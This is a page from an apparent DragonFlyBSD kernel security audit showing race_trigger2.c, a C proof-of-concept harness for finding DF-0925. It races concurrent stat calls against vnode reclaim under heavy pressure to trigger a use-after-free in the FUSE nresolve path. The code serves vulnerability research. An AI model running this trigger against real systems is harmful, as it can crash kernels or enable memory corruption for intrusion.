DragonFlyBSD Kernel Audit
DF-0925 / race_trigger2.c
← back to finding ↓ download raw
/*
 * race_trigger2.c — DF-0925 improved race harness.
 *
 * Forces concurrent nresolve calls for the same path to maximize
 * the chance of two threads both finding the existing fuse_node.
 *
 * Strategy:
 *   - Multiple stat threads that synchronize on a barrier, then all
 *     stat the same target simultaneously.
 *   - Heavy vnode pressure (maxvnodes very low) to force reclaim.
 *   - When the target's vnode is reclaimed (cache invalidated), the
 *     next synchronized stat burst causes concurrent nresolve calls.
 *     First thread creates fnp (allocated=1), second finds it (allocated=0)
 *     -> diagnostic tsleep(2s) -> vnode ages+reclaimed -> fnp freed -> UAF.
 *
 * Build: cc -O2 -o race_trigger2 race_trigger2.c -lpthread
 * Run:   ./race_trigger2 /mnt/fuse/target
 */
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

static char *g_path;
static volatile int g_stop;
static int g_runtime = 60;

/* Barrier for synchronized stat bursts */
static pthread_barrier_t g_barrier;

static void *
thread_sync_stat(void *arg)
{
    long tid = (long)arg;
    struct stat st;
    while (!g_stop) {
        /* Wait for all threads to be ready, then stat simultaneously */
        pthread_barrier_wait(&g_barrier);
        if (g_stop) break;
        /* All threads stat the target at the same time */
        stat(g_path, &st);
    }
    return NULL;
}

static void *
thread_pressure(void *arg)
{
    (void)arg;
    char buf[128];
    int batch = 0;
    while (!g_stop) {
        for (int i = 0; i < 500 && !g_stop; i++) {
            snprintf(buf, sizeof buf,
                     "/tmp/df0925_p_%d_%d", batch, i);
            int fd = open(buf, O_CREAT | O_RDWR, 0600);
            if (fd >= 0) {
                write(fd, "x", 1);
                close(fd);
            }
            unlink(buf);
        }
        batch++;
        usleep(10000); /* 10ms pause between batches */
    }
    return NULL;
}

static void *
thread_open_close(void *arg)
{
    (void)arg;
    while (!g_stop) {
        int fd = open(g_path, O_RDONLY);
        if (fd >= 0)
            close(fd);
        usleep(1000); /* 1ms between open/close cycles */
    }
    return NULL;
}

int
main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "usage: %s <fuse_target> [runtime_sec]\n", argv[0]);
        return 2;
    }
    g_path = argv[1];
    if (argc >= 3)
        g_runtime = atoi(argv[2]);

    int n_stat = 4;   /* synchronized stat threads */
    int n_pressure = 2;
    int n_oc = 1;
    int ntotal = n_stat + n_pressure + n_oc;

    pthread_barrier_init(&g_barrier, NULL, n_stat + 1); /* +1 for coordinator */
    pthread_t t[16];
    int idx = 0;
    long tid = 0;

    for (int i = 0; i < n_stat; i++)
        pthread_create(&t[idx++], NULL, thread_sync_stat, (void*)tid++);
    for (int i = 0; i < n_pressure; i++)
        pthread_create(&t[idx++], NULL, thread_pressure, NULL);
    for (int i = 0; i < n_oc; i++)
        pthread_create(&t[idx++], NULL, thread_open_close, NULL);

    fprintf(stderr, "DF-0925 trigger2: %d stat + %d pressure + %d oc = %d threads\n",
            n_stat, n_pressure, n_oc, ntotal);
    fprintf(stderr, "target=%s runtime=%ds\n", g_path, g_runtime);

    int burst = 0;
    time_t start = time(NULL);
    while (time(NULL) - start < g_runtime && !g_stop) {
        /* Release the barrier so all stat threads fire simultaneously */
        pthread_barrier_wait(&g_barrier);
        usleep(500000); /* 0.5s between bursts */
        burst++;
    }
    g_stop = 1;
    /* Final barrier release so stat threads can exit */
    pthread_barrier_wait(&g_barrier);

    for (int i = 0; i < idx; i++)
        pthread_join(t[i], NULL);

    fprintf(stderr, "DF-0925 trigger2: done after %d bursts\n", burst);
    return 0;
}